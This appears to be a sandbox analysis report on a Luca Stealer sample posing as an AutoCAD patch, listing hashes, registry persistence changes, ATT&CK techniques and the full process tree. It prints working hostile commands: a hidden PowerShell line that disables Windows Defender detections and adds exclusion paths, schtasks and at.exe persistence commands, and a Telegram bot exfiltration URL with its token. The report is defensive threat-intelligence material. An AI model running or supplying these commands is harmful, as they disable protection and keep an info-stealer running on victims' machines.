lucastealer | ff39886baad3900fbd5edceefd6058fe87435950ac6c46d5a222b90264b2f303

Analysis

max time kernel
151s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
05-05-2023 14:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AutoCAD_Patch_Languague_2022_x64.exe
Size

4.5MB
MD5

c2b4425b66906d54cb7c9740bc6d4ba0
SHA1

8e647dc068f7579b8fe5a24db25f1ecfeac4ace6
SHA256

ff39886baad3900fbd5edceefd6058fe87435950ac6c46d5a222b90264b2f303
SHA512

86e33e0224d021207a139263de5527788fce0f686cb581b1a54735378453c68d9ad525f271b995f28c91e881d329ab729920403d8c674410833ce0fd34f9f74f
SSDEEP

98304:mtrbTA1TXSLLIBw+a5XLW6jRhdGVQguhhW31Z6:Yc1TiLLSwLL5LdGVzu+lc

Score

10^/10

lucastealer evasion persistence stealer

Malware Config

Extracted

Family

lucastealer

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

Luca Stealer
Info stealer written in Rust first seen in July 2022.
stealer lucastealer

Luca Stealer payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\TZELRK.exe	family_lucastealer
C:\Users\Admin\AppData\Local\Temp\TZELRK.exe	family_lucastealer
C:\Users\Admin\AppData\Local\Temp\TZELRK.exe	family_lucastealer
C:\Users\Admin\AppData\Local\Temp\tzelrk.exe	family_lucastealer
\??\c:\users\admin\appdata\local\temp\tzelrk.exe	family_lucastealer

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Modifies Installed Components in the registry 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	explorer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AutoCAD_Patch_Languague_2022_x64.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	AutoCAD_Patch_Languague_2022_x64.exe

Drops startup file 1 IoCs

Processes:

AutoCAD_Patch_Languague_2022_x64.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OXRXOQ.lnk	AutoCAD_Patch_Languague_2022_x64.exe

Executes dropped EXE 7 IoCs

Processes:

TZELRK.exetzelrk.exe icsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid process

3028 TZELRK.exe
4780 tzelrk.exe
4888 icsys.icn.exe
4056 explorer.exe
4644 spoolsv.exe
3732 svchost.exe
1596 spoolsv.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exeAutoCAD_Patch_Languague_2022_x64.exeexplorer.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Software\Microsoft\Windows\CurrentVersion\Run	AutoCAD_Patch_Languague_2022_x64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OXRXOQ = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windata\\Microsoft Office Click-to-Run.exe\""	AutoCAD_Patch_Languague_2022_x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 6 IoCs

Processes:

icsys.icn.exeexplorer.exespoolsv.exesvchost.exe

description	ioc	process
File opened for modification	\??\c:\windows\system\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\system\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	spoolsv.exe
File opened for modification	\??\c:\windows\system\explorer.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	svchost.exe
File opened for modification	C:\Windows\system\udsys.exe	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2756 schtasks.exe

pid	process
2756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AutoCAD_Patch_Languague_2022_x64.exepowershell.exeicsys.icn.exeexplorer.exesvchost.exe

pid	process
744	AutoCAD_Patch_Languague_2022_x64.exe
744	AutoCAD_Patch_Languague_2022_x64.exe
3924	powershell.exe
4888	icsys.icn.exe
4888	icsys.icn.exe
3924	powershell.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe
3732	svchost.exe
3732	svchost.exe
3732	svchost.exe
4056	explorer.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
3732	svchost.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
4056	explorer.exe
3732	svchost.exe
3732	svchost.exe
4056	explorer.exe
4056	explorer.exe
3732	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

AutoCAD_Patch_Languague_2022_x64.exeexplorer.exesvchost.exe

pid process

744 AutoCAD_Patch_Languague_2022_x64.exe
4056 explorer.exe
3732 svchost.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3924 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3924	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

TZELRK.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid	process
3028	TZELRK.exe
3028	TZELRK.exe
4888	icsys.icn.exe
4888	icsys.icn.exe
4056	explorer.exe
4056	explorer.exe
4644	spoolsv.exe
4644	spoolsv.exe
3732	svchost.exe
3732	svchost.exe
1596	spoolsv.exe
1596	spoolsv.exe
4056	explorer.exe
4056	explorer.exe

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

AutoCAD_Patch_Languague_2022_x64.execmd.execmd.exeTZELRK.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exe

description	pid	process	target process
PID 744 wrote to memory of 3028	744	AutoCAD_Patch_Languague_2022_x64.exe	TZELRK.exe
PID 744 wrote to memory of 3028	744	AutoCAD_Patch_Languague_2022_x64.exe	TZELRK.exe
PID 744 wrote to memory of 3028	744	AutoCAD_Patch_Languague_2022_x64.exe	TZELRK.exe
PID 744 wrote to memory of 3408	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 744 wrote to memory of 3408	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 744 wrote to memory of 3408	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 3408 wrote to memory of 5044	3408	cmd.exe	reg.exe
PID 3408 wrote to memory of 5044	3408	cmd.exe	reg.exe
PID 3408 wrote to memory of 5044	3408	cmd.exe	reg.exe
PID 3408 wrote to memory of 3924	3408	cmd.exe	powershell.exe
PID 3408 wrote to memory of 3924	3408	cmd.exe	powershell.exe
PID 3408 wrote to memory of 3924	3408	cmd.exe	powershell.exe
PID 3408 wrote to memory of 220	3408	cmd.exe	reg.exe
PID 3408 wrote to memory of 220	3408	cmd.exe	reg.exe
PID 3408 wrote to memory of 220	3408	cmd.exe	reg.exe
PID 744 wrote to memory of 4352	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 744 wrote to memory of 4352	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 744 wrote to memory of 4352	744	AutoCAD_Patch_Languague_2022_x64.exe	cmd.exe
PID 4352 wrote to memory of 2756	4352	cmd.exe	schtasks.exe
PID 4352 wrote to memory of 2756	4352	cmd.exe	schtasks.exe
PID 4352 wrote to memory of 2756	4352	cmd.exe	schtasks.exe
PID 3028 wrote to memory of 4780	3028	TZELRK.exe	tzelrk.exe
PID 3028 wrote to memory of 4780	3028	TZELRK.exe	tzelrk.exe
PID 3028 wrote to memory of 4888	3028	TZELRK.exe	icsys.icn.exe
PID 3028 wrote to memory of 4888	3028	TZELRK.exe	icsys.icn.exe
PID 3028 wrote to memory of 4888	3028	TZELRK.exe	icsys.icn.exe
PID 4888 wrote to memory of 4056	4888	icsys.icn.exe	explorer.exe
PID 4888 wrote to memory of 4056	4888	icsys.icn.exe	explorer.exe
PID 4888 wrote to memory of 4056	4888	icsys.icn.exe	explorer.exe
PID 4056 wrote to memory of 4644	4056	explorer.exe	spoolsv.exe
PID 4056 wrote to memory of 4644	4056	explorer.exe	spoolsv.exe
PID 4056 wrote to memory of 4644	4056	explorer.exe	spoolsv.exe
PID 4644 wrote to memory of 3732	4644	spoolsv.exe	svchost.exe
PID 4644 wrote to memory of 3732	4644	spoolsv.exe	svchost.exe
PID 4644 wrote to memory of 3732	4644	spoolsv.exe	svchost.exe
PID 3732 wrote to memory of 1596	3732	svchost.exe	spoolsv.exe
PID 3732 wrote to memory of 1596	3732	svchost.exe	spoolsv.exe
PID 3732 wrote to memory of 1596	3732	svchost.exe	spoolsv.exe
PID 3732 wrote to memory of 4236	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 4236	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 4236	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 1676	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 1676	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 1676	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 852	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 852	3732	svchost.exe	at.exe
PID 3732 wrote to memory of 852	3732	svchost.exe	at.exe

C:\Users\Admin\AppData\Local\Temp\AutoCAD_Patch_Languague_2022_x64.exe
"C:\Users\Admin\AppData\Local\Temp\AutoCAD_Patch_Languague_2022_x64.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:744
- C:\Users\Admin\AppData\Local\Temp\TZELRK.exe
  "C:\Users\Admin\AppData\Local\Temp\TZELRK.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3028
- - \??\c:\users\admin\appdata\local\temp\tzelrk.exe
    c:\users\admin\appdata\local\temp\tzelrk.exe
    3⤵
    - Executes dropped EXE
    PID:4780
- - C:\Users\Admin\AppData\Local\icsys.icn.exe
    C:\Users\Admin\AppData\Local\icsys.icn.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - \??\c:\windows\system\explorer.exe
      c:\windows\system\explorer.exe
      4⤵
      Modifies WinLogon for persistence
      Modifies visiblity of hidden/system files in Explorer
      Modifies Installed Components in the registry
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4056
    - - \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe SE
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4644
      - \??\c:\windows\system\svchost.exe
        
        c:\windows\system\svchost.exe
        6⤵
        Modifies WinLogon for persistence
        Modifies visiblity of hidden/system files in Explorer
        Modifies Installed Components in the registry
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3732
        
        \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe PR
        7⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1596
        
        C:\Windows\SysWOW64\at.exe
        
        at 16:07 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:4236
        
        C:\Windows\SysWOW64\at.exe
        
        at 16:08 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:1676
        
        C:\Windows\SysWOW64\at.exe
        
        at 16:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UGGRUW.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:220
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn OXRXOQ.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn OXRXOQ.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:2756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\UGGRUW.cmd

Filesize
1KB

MD5
15a1fe3d0f342bdd3232253c7810a05d

SHA1
b658e0d903b37bf12e8e640bece22f235552dc50

SHA256
4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

SHA512
1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qecl3fos.f2a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tzelrk.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Roaming\mrsys.exe

Filesize
206KB

MD5
318332c49bac145f36df1ce7fa921fb0

SHA1
14f0f00215cbe0cb5c8140d2d6ae0fad1953d952

SHA256
7e16bb7f26408bddf577411792463b92f8a092d1c690edc74e312b839b77ec98

SHA512
af8ff58e5bfc32634f8b95001ae1a42fa8034d5e167cc5c78adad7d6e58f09c27cbafc65232fea1b19d29909343f11d75f9f1b91e0e3465b051cdb3ac23f5ede

Download Submit
C:\Windows\System\explorer.exe

Filesize
206KB

MD5
23bd3bb28bc62cc68fb462aa9b15c524

SHA1
bafa1c8c2a059a2959fcdddde139bfc96686cf57

SHA256
34e1b060a1f14a4bfbf78db1eb6f067d48b925afdfcc759b96709d9c9b75c9a9

SHA512
0ee8b4ad2e73544d86f686d0b74f3e25c7f1c3aee9b417ebae166cf7a9e0c200a7d755a41afc40154358ad2003c912afcb6f86eaad912c733d6c55651d9325d1

Download Submit
C:\Windows\System\spoolsv.exe

Filesize
206KB

MD5
59ec442126486b44962f3690733e5cfb

SHA1
43d2ad327d1551ec3806328f70c353e39b3d73e7

SHA256
a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

SHA512
9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

Download Submit
C:\Windows\System\spoolsv.exe

Filesize
206KB

MD5
59ec442126486b44962f3690733e5cfb

SHA1
43d2ad327d1551ec3806328f70c353e39b3d73e7

SHA256
a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

SHA512
9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

Download Submit
C:\Windows\System\svchost.exe

Filesize
207KB

MD5
0f02d3152386b0574804f5acb00fa906

SHA1
d8ad3ae0b20561db7e679d8f4d02daa04790e32e

SHA256
f4dd0cdf2a66ecb74f1977661a8ac7b1edbe591df4f9f0cf19a05205ce4064c5

SHA512
bb3304c962dbdf9cff1c5dbd77511ecffe3165bae4e508f4af7193d03f28493894eabf28c4d33fcca11fbe37c5ebb81785d8cfd84ec019d9b5c210a5933f926a

Download Submit
\??\c:\users\admin\appdata\local\temp\tzelrk.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
\??\c:\windows\system\explorer.exe

Filesize
206KB

MD5
23bd3bb28bc62cc68fb462aa9b15c524

SHA1
bafa1c8c2a059a2959fcdddde139bfc96686cf57

SHA256
34e1b060a1f14a4bfbf78db1eb6f067d48b925afdfcc759b96709d9c9b75c9a9

SHA512
0ee8b4ad2e73544d86f686d0b74f3e25c7f1c3aee9b417ebae166cf7a9e0c200a7d755a41afc40154358ad2003c912afcb6f86eaad912c733d6c55651d9325d1

Download Submit
\??\c:\windows\system\spoolsv.exe

Filesize
206KB

MD5
59ec442126486b44962f3690733e5cfb

SHA1
43d2ad327d1551ec3806328f70c353e39b3d73e7

SHA256
a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

SHA512
9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

Download Submit
\??\c:\windows\system\svchost.exe

Filesize
207KB

MD5
0f02d3152386b0574804f5acb00fa906

SHA1
d8ad3ae0b20561db7e679d8f4d02daa04790e32e

SHA256
f4dd0cdf2a66ecb74f1977661a8ac7b1edbe591df4f9f0cf19a05205ce4064c5

SHA512
bb3304c962dbdf9cff1c5dbd77511ecffe3165bae4e508f4af7193d03f28493894eabf28c4d33fcca11fbe37c5ebb81785d8cfd84ec019d9b5c210a5933f926a

Download Submit
memory/1596-222-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3028-227-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3028-161-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3732-234-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3732-228-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3924-170-0x0000000003480000-0x0000000003490000-memory.dmp

Filesize
64KB

Download
memory/3924-207-0x00000000069A0000-0x00000000069BE000-memory.dmp

Filesize
120KB

Download
memory/3924-178-0x0000000006310000-0x0000000006376000-memory.dmp

Filesize
408KB

Download
memory/3924-184-0x0000000006380000-0x00000000063E6000-memory.dmp

Filesize
408KB

Download
memory/3924-176-0x00000000059D0000-0x00000000059F2000-memory.dmp

Filesize
136KB

Download
memory/3924-172-0x0000000005BE0000-0x0000000006208000-memory.dmp

Filesize
6.2MB

Download
memory/3924-171-0x0000000003480000-0x0000000003490000-memory.dmp

Filesize
64KB

Download
memory/3924-166-0x00000000033E0000-0x0000000003416000-memory.dmp

Filesize
216KB

Download
memory/4056-197-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4056-233-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4644-225-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4888-196-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4888-226-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download

pid	process
3028	TZELRK.exe
4780	tzelrk.exe
4888	icsys.icn.exe
4056	explorer.exe
4644	spoolsv.exe
3732	svchost.exe
1596	spoolsv.exe